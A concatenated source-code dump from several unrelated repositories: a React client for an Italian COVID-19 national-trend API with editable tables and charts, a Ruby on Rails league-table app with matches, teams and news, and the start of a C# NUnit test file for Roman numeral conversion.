totale_positivi"); } if (newData.variazione_totale_positivi === "") { errorList.push("Per favore compilare variazione_totale_positivi"); } if (newData.nuovi_positivi === "") { errorList.push("Per favore compilare nuovi_positivi"); } if (newData.dimessi_guariti === "") { errorList.push("Per favore compilare dimessi_guariti"); } if (newData.deceduti === "") { errorList.push("Per favore compilare deceduti"); } if (newData.totale_casi === "") { errorList.push("Per favore compilare totale_casi"); } if (newData.tamponi === "") { errorList.push("Per favore compilare tamponi"); } if (newData.casi_testati === "") { errorList.push("Per favore compilare casi_testati"); } if (errorList.length < 1) { // PATCH /trend/nazionale/data/:bydate api .patch("/trend/nazionale/data/" + newData.data, { ricoverati_con_sintomi: parseInt(newData.ricoverati_con_sintomi), terapia_intensiva: parseInt(newData.terapia_intensiva), totale_ospedalizzati: parseInt(newData.totale_ospedalizzati), isolamento_domiciliare: parseInt(newData.isolamento_domiciliare), totale_positivi: parseInt(newData.totale_positivi), variazione_totale_positivi: parseInt( newData.variazione_totale_positivi ), nuovi_positivi: parseInt(newData.nuovi_positivi), dimessi_guariti: parseInt(newData.dimessi_guariti), deceduti: parseInt(newData.deceduti), totale_casi: parseInt(newData.totale_casi), tamponi: parseInt(newData.tamponi), casi_testati: parseInt(newData.casi_testati.Int64), }, { headers: { Authorization: "Bearer " + localStorage.getItem("x-access-token"), }, responseType: "json", }) .then((res) => { const dataUpdate = [...data]; const index = oldData.tableData.id; dataUpdate[index] = newData; setData([...dataUpdate]); resolve(); // errori setIserror(false); setErrorMessages([]); // messaggi setSuccessMessages([res.data.message]); setIssuccess(true); }) .catch((error) => { // errori errorList.push(error.response.data.message); setErrorMessages(errorList); setIserror(true); resolve(); }); } else { setErrorMessages(errorList); setIserror(true); resolve(); } }; const handleRowAdd = (newData, resolve) => { //validation let errorList = []; if (newData.data === undefined || !validateDate(newData.data)) { errorList.push("Per favore inserire una data con formato corretto"); } if (newData.ricoverati_con_sintomi === undefined) { errorList.push("Per favore compilare ricoverati_con_sintomi"); } if (newData.terapia_intensiva === undefined) { errorList.push("Per favore compilare terapia_intensiva"); } if (newData.totale_ospedalizzati === undefined) { errorList.push("Per favore compilare totale_ospedalizzati"); } if (newData.isolamento_domiciliare === undefined) { errorList.push("Per favore compilare isolamento_domiciliare"); } if (newData.totale_positivi === undefined) { errorList.push("Per favore compilare totale_positivi"); } if (newData.variazione_totale_positivi === undefined) { errorList.push("Per favore compilare variazione_totale_positivi"); } if (newData.nuovi_positivi === undefined) { errorList.push("Per favore compilare nuovi_positivi"); } if (newData.dimessi_guariti === undefined) { errorList.push("Per favore compilare dimessi_guariti"); } if (newData.deceduti === undefined) { errorList.push("Per favore compilare deceduti"); } if (newData.totale_casi === undefined) { errorList.push("Per favore compilare totale_casi"); } if (newData.tamponi === undefined) { errorList.push("Per favore compilare tamponi"); } if (newData.casi_testati === undefined) { errorList.push("Per favore compilare casi_testati"); } //se nessun errore... if (errorList.length < 1) { api // POST /trend/nazionale {newData} .post("/trend/nazionale", { data: newData.data, ricoverati_con_sintomi: newData.ricoverati_con_sintomi, terapia_intensiva: newData.terapia_intensiva, totale_ospedalizzati: newData.totale_ospedalizzati, isolamento_domiciliare: newData.isolamento_domiciliare, totale_positivi: newData.totale_positivi, variazione_totale_positivi: newData.variazione_totale_positivi, nuovi_positivi: newData.nuovi_positivi, dimessi_guariti: newData.dimessi_guariti, deceduti: newData.deceduti, totale_casi: newData.totale_casi, tamponi: newData.tamponi, casi_testati: newData.casi_testati.Int64, }, { headers: { Authorization: "Bearer " + localStorage.getItem("x-access-token"), }, responseType: "json", }) .then((res) => { // todo: app crash let dataToAdd = [...data]; dataToAdd.push(newData); setData(dataToAdd); resolve(); setErrorMessages([]); setIserror(false); // success setSuccessMessages([res.data.message]); setIssuccess(true); }) .catch((error) => { errorList.push(error.response.data.message); setErrorMessages(errorList); setIserror(true); resolve(); }); } else { setErrorMessages(errorList); setIserror(true); resolve(); } }; const handleRowDelete = (oldData, resolve) => { let errorList = []; // DELETE /trend/nazionale/data/:bydate api .delete("/trend/nazionale/data/" + oldData.data, { headers: { Authorization: "Bearer " + localStorage.getItem("x-access-token"), }, responseType: "json", }) .then((res) => { const dataDelete = [...data]; const index = oldData.tableData.id; dataDelete.splice(index, 1); setData([...dataDelete]); resolve(); // success setSuccessMessages([res.data.message]); setIssuccess(true); }) .catch((error) => { errorList.push(error.response.data.message); setErrorMessages(errorList); setIserror(true); resolve(); }); }; // ### ricerca trend per data (in basso a destra) ### const [selectedDatePick, setSelectedDatePick] = React.useState( new Date("2020-02-24") ); const handleDateChangePick = (datepick) => { setSelectedDatePick(datepick); }; const [recordByDateHit, setRecordByDateHit] = useState(false); const [recordByDate, setRecordByDate] = useState([]); const [iserrorDate, setIsErrorDate] = useState(false); const [errorDateMessages, setErrorDateMessages] = useState([]); function searchTrendByDate() { setIsErrorDate(false); // GET /trend/nazionale/data/:bydate api .get( "/trend/nazionale/data/" + moment(selectedDatePick).format("YYYY-MM-DD"), { responseType: "json", } ) .then((res) => { setRecordByDate(res.data.data); setRecordByDateHit(true); }) .catch((error) => { setErrorDateMessages([error.response.data.message]); setIsErrorDate(true); }); } // useStyles const classes = useStyles(); return ( <div className="TrendNazionale container"> {!datanazloaded ? <LinearProgress /> : ""} <div> {iserror && ( <Alert severity="error"> {errorMessages.map((msg, i) => { return <div key={i}>{msg}</div>; })} </Alert> )} {issuccess && ( <Alert severity="success"> {successMessages.map((msg, i) => { return <div key={i}>{msg}</div>; })} </Alert> )} </div> {auth ? ( <MaterialTable title="COVID-19 Andamento Nazionale" columns={columns} data={data} icons={tableIcons} editable={{ onRowUpdate: (newData, oldData) => new Promise((resolve) => { handleRowUpdate(newData, oldData, resolve); }), onRowAdd: (newData) => new Promise((resolve) => { handleRowAdd(newData, resolve); }), onRowDelete: (oldData) => new Promise((resolve) => { handleRowDelete(oldData, resolve); }), }} /> ) : ( <MaterialTable title="Covid-19 Andamento Nazionale" columns={columns} data={data} icons={tableIcons} /> )} <br /> <br /> <Paper elevation={3}> <Chart data={datagraph} rootComponent={ChartRoot}> <ArgumentScale factory={scalePoint} /> <ValueAxis /> <AreaSeries name="Nuovi Positivi" valueField="nuovi_positivi" argumentField="data" /> <AreaSeries name="Terapia Intensiva" valueField="terapia_intensiva" argumentField="data" /> <Animation /> <Legend position="bottom" rootComponent={LegendRoot} itemComponent={LegendItem} labelComponent={LegendLabel} /> <Title text="Nuovi Positivi e Ricoverati in Terapia Intensiva in Italia [24/02/20 - 07/06/20]" /> </Chart> </Paper> <br /> <br /> <div className={classes.root}> <Grid container spacing={3}> <Grid item xs={6}> <Card className={classes.root}> <CardContent> <Typography className={classes.title} color="textSecondary" gutterBottom > <h3>Picco nazionale di Nuovi Positivi</h3> </Typography> <Divider /><br /> <h3>{moment(picco.data).format("YYYY-MM-DD")}</h3> <List> <ListItem><ListItemText primary="Ricoverati con sintomi" secondary={picco.ricoverati_con_sintomi}/></ListItem> <ListItem><ListItemText primary="Terapia intensiva" secondary={picco.terapia_intensiva}/></ListItem> <ListItem><ListItemText primary="Totale ospedalizzati" secondary={picco.totale_ospedalizzati}/></ListItem> <ListItem><ListItemText primary="Isolamento domiciliare:" secondary={picco.isolamento_domiciliare}/></ListItem> <ListItem><ListItemText primary="Totale positivi" secondary={picco.totale_positivi}/></ListItem> <ListItem><ListItemText primary="Variazione totale positivi" secondary={picco.variazione_totale_positivi}/></ListItem> <ListItem><ListItemText primary="Nuovi positivi" secondary={picco.nuovi_positivi}/></ListItem> <ListItem><ListItemText primary="Dimessi guariti" secondary={picco.dimessi_guariti}/></ListItem> <ListItem><ListItemText primary="Deceduti" secondary={picco.deceduti}/></ListItem> <ListItem><ListItemText primary="Totale casi" secondary={picco.totale_casi}/></ListItem> <ListItem><ListItemText primary="Tamponi" secondary={picco.tamponi}/></ListItem> </List> </CardContent> </Card> </Grid> <Grid item xs={6}> <Card className={classes.root}> <CardContent> {iserrorDate && ( <Alert severity="error"> {errorDateMessages.map((msg, i) => { return <div key={i}>{msg}</div>; })} </Alert> )} <Typography className={classes.title} color="textSecondary" gutterBottom > <h3>Ricerca Trend nazionale per data</h3> </Typography> <Divider /><br /> <MuiPickersUtilsProvider utils={DateFnsUtils}> <KeyboardDatePicker disableToolbar variant="inline" format="yyyy-MM-dd" margin="normal" id="date-picker-inline" value={selectedDatePick} onChange={handleDateChangePick} KeyboardButtonProps={{ "aria-label": "change date", }} /> </MuiPickersUtilsProvider> <Button variant="contained" color="primary" className={classes.button} startIcon={<SearchIcon />} onClick={() => { searchTrendByDate(); }} > Ricerca </Button> <Divider /><br /> {recordByDateHit && <h3>{moment(recordByDate.data).format("YYYY-MM-DD")}</h3> } {recordByDateHit && ( <List> <ListItem><ListItemText primary="Ricoverati con sintomi" secondary={recordByDate.ricoverati_con_sintomi}/></ListItem> <ListItem><ListItemText primary="Terapia intensiva" secondary={recordByDate.terapia_intensiva}/></ListItem> <ListItem><ListItemText primary="Totale ospedalizzati" secondary={recordByDate.totale_ospedalizzati}/></ListItem> <ListItem><ListItemText primary="Isolamento domiciliare:" secondary={recordByDate.isolamento_domiciliare}/></ListItem> <ListItem><ListItemText primary="Totale positivi" secondary={recordByDate.totale_positivi}/></ListItem> <ListItem><ListItemText primary="Variazione totale positivi" secondary={recordByDate.variazione_totale_positivi}/></ListItem> <ListItem><ListItemText primary="Nuovi positivi" secondary={recordByDate.nuovi_positivi}/></ListItem> <ListItem><ListItemText primary="Dimessi guariti" secondary={recordByDate.dimessi_guariti}/></ListItem> <ListItem><ListItemText primary="Deceduti" secondary={recordByDate.deceduti}/></ListItem> <ListItem><ListItemText primary="Totale casi" secondary={recordByDate.totale_casi}/></ListItem> <ListItem><ListItemText primary="Tamponi" secondary={recordByDate.tamponi}/></ListItem> </List> )} </CardContent> </Card> </Grid> </Grid> </div> </div> ); } export default TrendNazionale; <file_sep>/src/components/home.js import React, { Component } from "react"; import Card from "@material-ui/core/Card"; import CardContent from "@material-ui/core/CardContent"; // helper import { isAuthenticated } from "../helper"; class Home extends Component { render() { return ( <div class="container"> <Card> <CardContent> <div className="landing-div"> <h1> {isAuthenticated() ? localStorage.getItem("login-username")+", benvenuto" : "Benvenuto" } su <b>pdgt-covid-client</b> </h1> <div className="repositories"> <h2> <span role="img" aria-label="provetta"> 🧪 </span> <b>pdgt-covid</b> <span role="img" aria-label="grafico"> 📊 </span> </h2> <hr /> <a className="first-a" href="https://travis-ci.org/edoardo-conti/pdgt-covid"> <img src="https://travis-ci.org/edoardo-conti/pdgt-covid.svg?branch=master" alt="travis-ci" /> </a> <a href="https://pdgt-covid.herokuapp.com/"> <img src="https://heroku-badge.herokuapp.com/?app=pdgt-covid" alt="heroku" /> </a> <a href="https://goreportcard.com/report/github.com/edoardo-conti/pdgt-covid"> <img src="https://goreportcard.com/badge/github.com/edoardo-conti/pdgt-covid" alt="goreport" /> </a> <a href="https://img.shields.io/github/go-mod/go-version/edoardo-conti/pdgt-covid/master"> <img src="https://img.shields.io/github/go-mod/go-version/edoardo-conti/pdgt-covid/master" alt="go-version" /> </a> <br /> <a className="github-link" href="https://github.com/edoardo-conti/pdgt-covid">https://github.com/edoardo-conti/pdgt-covid</a> <br /><br /> <h2> <span role="img" aria-label="provetta"> 🧪 </span> <b>pdgt-covid-client</b> <span role="img" aria-label="utente al pc"> 👨‍💻 </span> </h2> <hr /> <a className="first-a" href="https://travis-ci.org/edoardo-conti/pdgt-covid-client"> <img src="https://travis-ci.org/edoardo-conti/pdgt-covid-client.svg?branch=master" alt="travis-ci" /> </a> <a href="https://pdgt-covid-client.herokuapp.com/"> <img src="https://heroku-badge.herokuapp.com/?app=pdgt-covid-client" alt="heroku" /> </a> <a href="https://img.shields.io/github/package-json/dependency-version/edoardo-conti/pdgt-covid-client/react"> <img src="https://img.shields.io/github/package-json/dependency-version/edoardo-conti/pdgt-covid-client/react" alt="npm-react" /> </a> <br /> <a className="github-link" href="https://github.com/edoardo-conti/pdgt-covid-client">https://github.com/edoardo-conti/pdgt-covid-client</a> </div> </div> </CardContent> </Card> </div> ); } } export default Home; <file_sep>/src/components/users.js import React, { useState, useEffect, forwardRef } from "react"; import { Redirect } from "react-router-dom"; // helper import { isAuthenticated, getUsers, api } from "../helper"; // GUI import Grid from "@material-ui/core/Grid"; import MaterialTable from "material-table"; import AddBox from "@material-ui/icons/AddBox"; import ArrowDownward from "@material-ui/icons/ArrowDownward"; import Check from "@material-ui/icons/Check"; import ChevronLeft from "@material-ui/icons/ChevronLeft"; import ChevronRight from "@material-ui/icons/ChevronRight"; import Clear from "@material-ui/icons/Clear"; import DeleteOutline from "@material-ui/icons/DeleteOutline"; import Edit from "@material-ui/icons/Edit"; import FilterList from "@material-ui/icons/FilterList"; import FirstPage from "@material-ui/icons/FirstPage"; import LastPage from "@material-ui/icons/LastPage"; import Remove from "@material-ui/icons/Remove"; import SaveAlt from "@material-ui/icons/SaveAlt"; import Search from "@material-ui/icons/Search"; import ViewColumn from "@material-ui/icons/ViewColumn"; import Alert from "@material-ui/lab/Alert"; // css import "./users.css" const tableIcons = { Add: forwardRef((props, ref) => <AddBox {...props} ref={ref} />), Check: forwardRef((props, ref) => <Check {...props} ref={ref} />), Clear: forwardRef((props, ref) => <Clear {...props} ref={ref} />), Delete: forwardRef((props, ref) => <DeleteOutline {...props} ref={ref} />), DetailPanel: forwardRef((props, ref) => ( <ChevronRight {...props} ref={ref} /> )), Edit: forwardRef((props, ref) => <Edit {...props} ref={ref} />), Export: forwardRef((props, ref) => <SaveAlt {...props} ref={ref} />), Filter: forwardRef((props, ref) => <FilterList {...props} ref={ref} />), FirstPage: forwardRef((props, ref) => <FirstPage {...props} ref={ref} />), LastPage: forwardRef((props, ref) => <LastPage {...props} ref={ref} />), NextPage: forwardRef((props, ref) => <ChevronRight {...props} ref={ref} />), PreviousPage: forwardRef((props, ref) => ( <ChevronLeft {...props} ref={ref} /> )), ResetSearch: forwardRef((props, ref) => <Clear {...props} ref={ref} />), Search: forwardRef((props, ref) => <Search {...props} ref={ref} />), SortArrow: forwardRef((props, ref) => <ArrowDownward {...props} ref={ref} />), ThirdStateCheck: forwardRef((props, ref) => <Remove {...props} ref={ref} />), ViewColumn: forwardRef((props, ref) => <ViewColumn {...props} ref={ref} />), }; function User() { // colonne tabella utenti var columns = [ { //editable: 'never', field: "avatar_url", title: "Avatar", render: (rowData) => ( <img alt="avatar" src={rowData.avatar_url} style={{ width: 50, borderRadius: "50%" }} /> ), }, { title: "<NAME>", field: "username" }, { title: "Password", field: "<PASSWORD>", hidden: true,}, { title: "Admin", field: "is_admin", type: 'boolean' }, ]; // users data const [data, setData] = useState([]); //table data const [auth, setAuth] = useState(true); //auth state // errori const [iserror, setIserror] = useState(false); const [errorMessages, setErrorMessages] = useState([]); // messaggi const [issuccess, setIssuccess] = useState(false); const [successMessages, setSuccessMessages] = useState([]); useEffect(() => { // disponibile sono se utente autenticato if (isAuthenticated()) getUsers() .then((users) => { setData(users); }) .catch((err) => { alert("Utente non Autenticato!"); setAuth(false); }); else { alert("Utente non Autenticato!"); setAuth(false); } }, []); const handleRowDelete = (oldData, resolve) => { // errori let errorList = []; // verifico che non si stia tentando di cancellare l'account in uso if(oldData.username === localStorage.getItem('login-username')) { errorList.push("Impossibile cancellare account in uso."); setErrorMessages(errorList); setIserror(true); resolve(); } else { // DELETE /utenti/:byusername api .delete("/utenti/" + oldData.username, { headers: { Authorization: "Bearer " + localStorage.getItem("x-access-token"), }, responseType: "json", }) .then((res) => { const dataDelete = [...data]; const index = oldData.tableData.id; dataDelete.splice(index, 1); setData([...dataDelete]); setSuccessMessages([res.data.message]); setIssuccess(true); resolve(); }) .catch((error) => { errorList.push(error.response.data.message); setErrorMessages(errorList); setIserror(true); resolve(); }); } }; return ( <div className="Users container"> {auth ? "" : <Redirect to="/" />} <Grid container spacing={1}> <Grid item xs={12}> <div> {iserror && ( <Alert severity="error"> {errorMessages.map((msg, i) => { return <div key={i}>{msg}</div>; })} </Alert> )} {issuccess && ( <Alert severity="success"> {successMessages.map((msg, i) => { return <div key={i}>{msg}</div>; })} </Alert> )} </div> <MaterialTable title="Tabella Utenti" columns={columns} data={data} icons={tableIcons} editable={{ onRowDelete: (oldData) => new Promise((resolve) => { handleRowDelete(oldData, resolve); }), }} /> </Grid> </Grid> </div> ); } export default User;
4e1838165cd0ebc072b62ee19a0bd87a1dc57c08
[ "JavaScript" ]
7
JavaScript
edoardo-conti/pdgt-covid-client
bd4ee1d3fb6a0a63ffb43d24d91d8e81d165ad79
107f4eb613a00d97bb4f8ee88355b5832e87e55c
refs/heads/master
<repo_name>nlnwa/gocron<file_sep>/sort.go package gocron type ByTime []*Job func (s ByTime) Len() int { return len(s) } func (s ByTime) Swap(i, j int) { s[i], s[j] = s[j], s[i] } func (s ByTime) Less(i, j int) bool { if s[i].nextRun.IsZero() { return false } if s[j].nextRun.IsZero() { return true } return s[j].nextRun.After(s[i].nextRun) } <file_sep>/constantdelay.go package gocron import ( "time" ) type recurringSchedule struct { interval time.Duration } func Every(interval time.Duration) Schedule { return &recurringSchedule{ interval: interval, } } func (r *recurringSchedule) Next(now time.Time) time.Time { return now.Add(r.interval) } <file_sep>/job.go package gocron import ( "reflect" "time" log "github.com/sirupsen/logrus" "github.com/nlnwa/kronasje" ) type Schedule interface { Next(time.Time) time.Time } type Job struct { // schedule based on cron expression determines runtime Schedule Schedule // the tasks this job executes tasks []reflect.Value // the parameters that will be passed tasks upon execution tasksParams [][]reflect.Value // time of last run lastRun time.Time // time of next run nextRun time.Time } // Run job by calling the jobs task functions. func (j *Job) run() { for i := range j.tasks { j.tasks[i].Call(j.tasksParams[i]) } } // NewCronJob creates a new job based on a cron expression. func NewCronJob(expression string) (*Job, error) { schedule, err := kronasje.Parse(expression) if err != nil { return nil, err } return NewJob(schedule.(Schedule)), nil } // NewJob creates a new job based on a schedule. func NewJob(schedule Schedule) *Job { return &Job{ Schedule: schedule, } } // Add a task function including it's parameters to the job. func (j *Job) AddTask(task interface{}, params ...interface{}) *Job { // reflect the task and params to values taskValue := reflect.ValueOf(task) paramValues := make([]reflect.Value, len(params)) for i := range params { paramValues[i] = reflect.ValueOf(params[i]) } if taskValue.Type().NumIn() != len(paramValues) { log.Errorln("AddTask", "mismatched number of task parameters") return nil } else if taskValue.Kind() != reflect.Func { log.Errorln("AddTask", "task is not a function") return nil } // add the task and its params to the job j.tasks = append(j.tasks, taskValue) j.tasksParams = append(j.tasksParams, paramValues) return j } <file_sep>/collector.go package gocron import "sort" type Collector interface { GetJobs() []*Job } // default in-memory job collector where type defaultCollector struct { jobs []*Job } // Get jobs to be collected. func (dc *defaultCollector) GetJobs() []*Job { return dc.jobs } // Create new default job collector. func newDefaultCollector() Collector { return &defaultCollector{ make([]*Job, 0), } } // Add appends job to list of jobs and sort list by time. func (c *defaultCollector) add(job *Job) { c.jobs = append(c.jobs, job) sort.Sort(ByTime(c.jobs)) } <file_sep>/scheduler.go package gocron import ( "sync" "time" ) // Scheduler contains jobs and a loop to run the jobs type Scheduler struct { sync.RWMutex location *time.Location interval time.Duration collectors []Collector isRunning bool done chan struct{} } // NewScheduler create a new scheduler. func NewScheduler() *Scheduler { return &Scheduler{ collectors: []Collector{newDefaultCollector()}, location: time.Local, interval: time.Minute, } } func (s *Scheduler) AddJob(job *Job) { s.Lock() defer s.Unlock() s.collectors[0].(*defaultCollector).add(job) } func (s *Scheduler) AddCollector(collector Collector) *Scheduler { s.Lock() defer s.Unlock() s.collectors = append(s.collectors, collector) return s } // Interval sets the interval between the check for pending jobs. func (s *Scheduler) Interval(d time.Duration) *Scheduler { s.Lock() defer s.Unlock() s.interval = d return s } // Location sets the location of the scheduler. func (s *Scheduler) Location(location *time.Location) *Scheduler { s.Lock() defer s.Unlock() if s.isRunning { s.location = location } return s } // runPending runs all of the jobs pending now. func (s *Scheduler) runPending(now time.Time) { s.Lock() defer s.Unlock() for i := range s.collectors { jobs := s.collectors[i].GetJobs() for _, job := range jobs { if job.nextRun.IsZero() { job.nextRun = job.Schedule.Next(now) } if job.nextRun.After(now) { continue } go job.run() job.lastRun = job.nextRun job.nextRun = job.Schedule.Next(now) } } } // Start scheduler. func (s *Scheduler) Start() { s.Lock() defer s.Unlock() // only start the scheduler if it hasn't been started yet if s.isRunning { return } else { s.done = make(chan struct{}) s.isRunning = true } go func() { ticker := time.NewTicker(s.interval) for { select { case <-s.done: ticker.Stop() s.done <- struct{}{} return case now := <-ticker.C: s.runPending(now.In(s.location)) } } }() } // Stop scheduler. func (s *Scheduler) Stop() { s.Lock() defer s.Unlock() if s.isRunning { s.done <- struct{}{} <-s.done s.isRunning = false } } <file_sep>/gocron.go // Package gocron : A Golang Job Scheduling Package. // // An in-process scheduler for periodic jobs that uses the builder pattern // for configuration. Schedule lets you run Golang functions periodically // at pre-determined intervals using a simple, human-friendly syntax. // // Inspired by the Ruby module clockwork <https://github.com/tomykaira/clockwork> // and // Python package schedule <https://github.com/dbader/schedule> // // See also // http://adam.heroku.com/past/2010/4/13/rethinking_cron/ // http://adam.heroku.com/past/2010/6/30/replace_cron_with_clockwork/ // // Copyright 2014 <NAME>. <EMAIL> . // Copyright 2018 National library of Norway // All rights reserved. // Use of this source code is governed by a BSD-style . // license that can be found in the LICENSE file. package gocron <file_sep>/README.md # goCron: A Golang Job Scheduling Package.
d2a55fafe0747f7b1b35e15621ddea2815c198ee
[ "Markdown", "Go" ]
7
Go
nlnwa/gocron
f3afa3b5e1f90b3b51d0d1a00111b546a23da81d
84e2ecad1b62a28bafecb6a9b9fc15139d9f2e92
refs/heads/master
<file_sep>class AddAdminUser < ActiveRecord::Migration def up User.create(:username => "Admin", :password => <PASSWORD>", :password_confirmation => <PASSWORD>") end def down end end <file_sep>FactoryGirl.define do factory :match_score do team score 6 end end <file_sep>require 'test_helper' class TeamTest < ActiveSupport::TestCase test "team saves successfully" do assert FactoryGirl.create(:team) end test "has many match scores" do team = FactoryGirl.create(:team) score = FactoryGirl.create(:match_score, team: team) assert_equal team.match_scores, [score] end test "has many matches" do team = FactoryGirl.create(:team) score = FactoryGirl.create(:match_score, team: team) match = FactoryGirl.create(:match, match_scores: [score]) assert_equal team.matches, [match] end test "points returns amount of won matches" do team = FactoryGirl.create(:team) FactoryGirl.create(:match) FactoryGirl.create(:match) MatchScore.won.first.update_attribute(:team_id, team.id) #this is so, so wrong... assert_equal 1, team.points end test "goals_scored returns amount of goals scored" do team = FactoryGirl.create(:team) FactoryGirl.create(:match) MatchScore.won.first.update_attribute(:team_id, team.id) assert_equal 10, team.goals_scored end test "goals_lost returns amount of goals lost" do team = FactoryGirl.create(:team) FactoryGirl.create(:match) MatchScore.lost.first.update_attribute(:team_id, team.id) assert_equal 6, team.goals_scored end end <file_sep>class GamersController < ApplicationController def index @gamers = Gamer.all end def show @gamer = Gamer.find(params[:id]) end def new @gamer = Gamer.new end def edit @gamer = Gamer.find(params[:id]) end def create @gamer = Gamer.new(params[:gamer]) if @gamer.save redirect_to @gamer, notice: 'Gamer was successfully created.' else render :new end end def update @gamer = Gamer.find(params[:id]) if @gamer.update_attributes(params[:gamer]) redirect_to @gamer, notice: 'Gamer was successfully updated.' else render :edit end end def destroy @gamer = Gamer.find(params[:id]) @gamer.destroy end end <file_sep>FactoryGirl.define do sequence :team_name do |n| "Team #{n}" end sequence :player_name do |n| "Player #{n}" end factory :team do name { generate(:team_name) } player1 { generate(:player_name) } player2 { generate(:player_name) } end end <file_sep>class Match < ActiveRecord::Base attr_accessible :date, :match_scores_attributes has_many :match_scores has_one :news accepts_nested_attributes_for :match_scores after_create :create_news scope :ordered, order("date desc") def build_scores if match_scores.size < 2 match_scores.build match_scores.build end end def create_news News.create(:template => 'match', :match_id => id) end def first_team match_scores[0].team end def second_team match_scores[1].team end def first_score match_scores[0].score end def second_score match_scores[1].score end def winner match_scores[0].score > match_scores[1].score ? first_team : second_team end end <file_sep>require 'test_helper' class MatchScoreTest < ActiveSupport::TestCase test "match score saves successfully" do assert FactoryGirl.create(:match_score) end test "won scope returns match scores with score 10" do lost_score = FactoryGirl.create(:match_score) won_score = FactoryGirl.create(:match_score, score: 10) assert_equal [won_score], MatchScore.won end end <file_sep>class SessionsController < ApplicationController def new end def create user = login(params[:username],params[:password]) if user redirect_back_or_to root_path, :notice => "Zalogowano." else flash.now.alert = "Logowanie nie powiodlo sie." render :new end end def destroy logout redirect_to root_path, :notice => "Wylogowano." end end <file_sep>League::Application.routes.draw do resources :news resources :matches resources :teams resources :gamers get "logout" => "sessions#destroy", :as => "logout" get "login" => "sessions#new", :as => "login" #get "signup" => "users#new", :as => "signup" resources :users resources :sessions get "tables" => "tables#index", :as => "tables_path" root :to => "news#index" end <file_sep>module NewsHelper def edited_date(news) if news.created_at != news.updated_at "Edytowano: #{format_full_date(news.updated_at)}" else "Dodano: #{format_full_date(news.updated_at)}" end end end <file_sep>module ApplicationHelper def format_full_date(date) l date, :format => "%d.%m.%Y, %H:%M" end end <file_sep>class AddGamersToTeam < ActiveRecord::Migration def change add_column :teams, :player1, :string add_column :teams, :player2, :string end end <file_sep>class AddColumnsToNews < ActiveRecord::Migration def change add_column :news, :match_id, :integer add_column :news, :template, :string, :default => 'regular' end end <file_sep>require 'test_helper' class MatchTest < ActiveSupport::TestCase setup do @match = FactoryGirl.build(:match) end test "match saves successfully" do assert @match.save end end <file_sep>class TablesController < ApplicationController def index @teams = Team.get_sorted end end<file_sep>class News < ActiveRecord::Base attr_accessible :fulltext, :title, :template, :match_id scope :ordered, order("created_at desc") belongs_to :match delegate :first_team, :second_team, :first_score, :second_score,:winner, :to => :match end <file_sep>ENV["RAILS_ENV"] = "test" require File.expand_path('../../config/environment', __FILE__) require 'rails/test_help' require "factory_girl_rails" DatabaseCleaner.strategy = :truncation class ActiveSupport::TestCase end <file_sep>class MatchesController < ApplicationController before_filter :require_login, :only => [:new, :create, :edit] def index @matches = Match.ordered end def new @match = Match.new @match.build_scores @teams = Team.all end def edit @match = Match.find(params[:id]) end def create @match = Match.new(params[:match]) if @match.save redirect_to @match, notice: 'Match was successfully created.' else @teams = Team.all render :new end end def update @match = Match.find(params[:id]) if @match.update_attributes(params[:match]) redirect_to @match, notice: 'Match was successfully updated.' else render :edit end end def destroy @match = Match.find(params[:id]) @match.destroy end end <file_sep>#OMFG class Team < ActiveRecord::Base attr_accessible :name, :player1, :player2 has_many :match_scores has_many :matches, through: :match_scores validates :name, :presence => true validates :player1, :presence => true validates :player2, :presence => true scope :ordered, order("name") def points match_scores.won.count end def goals_scored match_scores.sum(:score) end def goals_losed #I'll get to you... #Killa points=0 Match.all.each do |match| if match.first_team == self points+=match.second_score end if match.second_team == self points+=match.first_score end end points end def matches_count #TODO: Move .count to views, remove matches_count matches.count end def matches_played(team) matches = self.matches matches.delete_if { |match| !(match.first_team==team || match.second_team==team) } end def self.get_sorted Team.all.sort { |t1,t2| result = 0 if t1.points!=t2.points result = t1.points <=> t2.points else if t1.goals_scored!=t2.goals_scored result = t1.goals_scored <=> t2.goals_scored else if t1.goals_losed!=t2.goals_losed result = -(t1.goals_losed <=> t2.goals_losed) else if t1.matches_count!=t2.matches_count result = -(t1.matches <=> t2.matches) end end end end -result } end end <file_sep>class MatchScore < ActiveRecord::Base attr_accessible :team_id, :score belongs_to :match belongs_to :team scope :won, where(score: 10) scope :lost, where("score < 10") validates :team_id, :presence => true validates :score, :presence => true, :numericality => { :only_integer => true, :greater_than_or_equal_to => 0, :less_than_or_equal_to => 10 } end <file_sep>class Gamer < ActiveRecord::Base attr_accessible :name validates :name, :presence => true, :length => { :minimum => 5 } end <file_sep>FactoryGirl.define do factory :match do after(:create) do |match| FactoryGirl.create(:match_score, match: match, score: 10) FactoryGirl.create(:match_score, match: match) end end end
2918638ae6594e7590a88d2abfb027258bd04682
[ "Ruby" ]
22
Ruby
fistachos/league
b9a4ec733191537dba26253a49949fe8313cf756
fb6f701fc573dc32b761ea5ba44c10469c971590
refs/heads/master
<file_sep>using NUnit.Framework; using RomanNumerals.App; namespace RomanNumerals.Tests { [TestFixture] public class NumveralConversionTests { [Test] public void When_1_is_entered_the_conversion_is_I() { //Arrange var number = 1; var numberConverter = new NumberConverter(); //Act var result = numberConverter.Parse(number); //Assert Assert.AreEqual("I", result); } [Test] public void When_5_is_entered_the_conversion_is_V() { var number = 5; var numberConverter = new NumberConverter(); var result = numberConverter.Parse(number); Assert.AreEqual("V", result); } [Test] public void When_9_is_entered_the_conversion_is_IX() { var number = 9; var numberConverter = new NumberConverter(); var result = numberConverter.Parse(number); Assert.AreEqual("IX", result); } [Test] public void When_12_is_entered_the_conversion_is_XII() { var number = 12; var numberConverter = new NumberConverter(); var result = numberConverter.Parse(number); Assert.AreEqual("XII", result); } [Test] public void When_16_is_entered_the_conversion_is_XVI() { var number = 16; var numberConverter = new NumberConverter(); var result = numberConverter.Parse(number); Assert.AreEqual("XVI", result); } [Test] public void When_29_is_entered_the_conversion_is_XXIX() { var number = 29; var numberConverter = new NumberConverter(); var result = numberConverter.Parse(number); Assert.AreEqual("XXIX", result); } [Test] public void When_44_is_entered_the_conversion_is_XLIV() { var number = 44; var numberConverter = new NumberConverter(); var result = numberConverter.Parse(number); Assert.AreEqual("XLIV", result); } [Test] public void When_45_is_entered_the_conversion_is_XLV() { var number = 45; var numberConverter = new NumberConverter(); var result = numberConverter.Parse(number); Assert.AreEqual("XLV", result); } [Test] public void When_68_is_entered_the_conversion_is_LXVIII() { var number = 68; var numberConverter = new NumberConverter(); var result = numberConverter.Parse(number); Assert.AreEqual("LXVIII", result); } [Test] public void When_83_is_entered_the_conversion_is_LXXXIII() { var number = 83; var numberConverter = new NumberConverter(); var result = numberConverter.Parse(number); 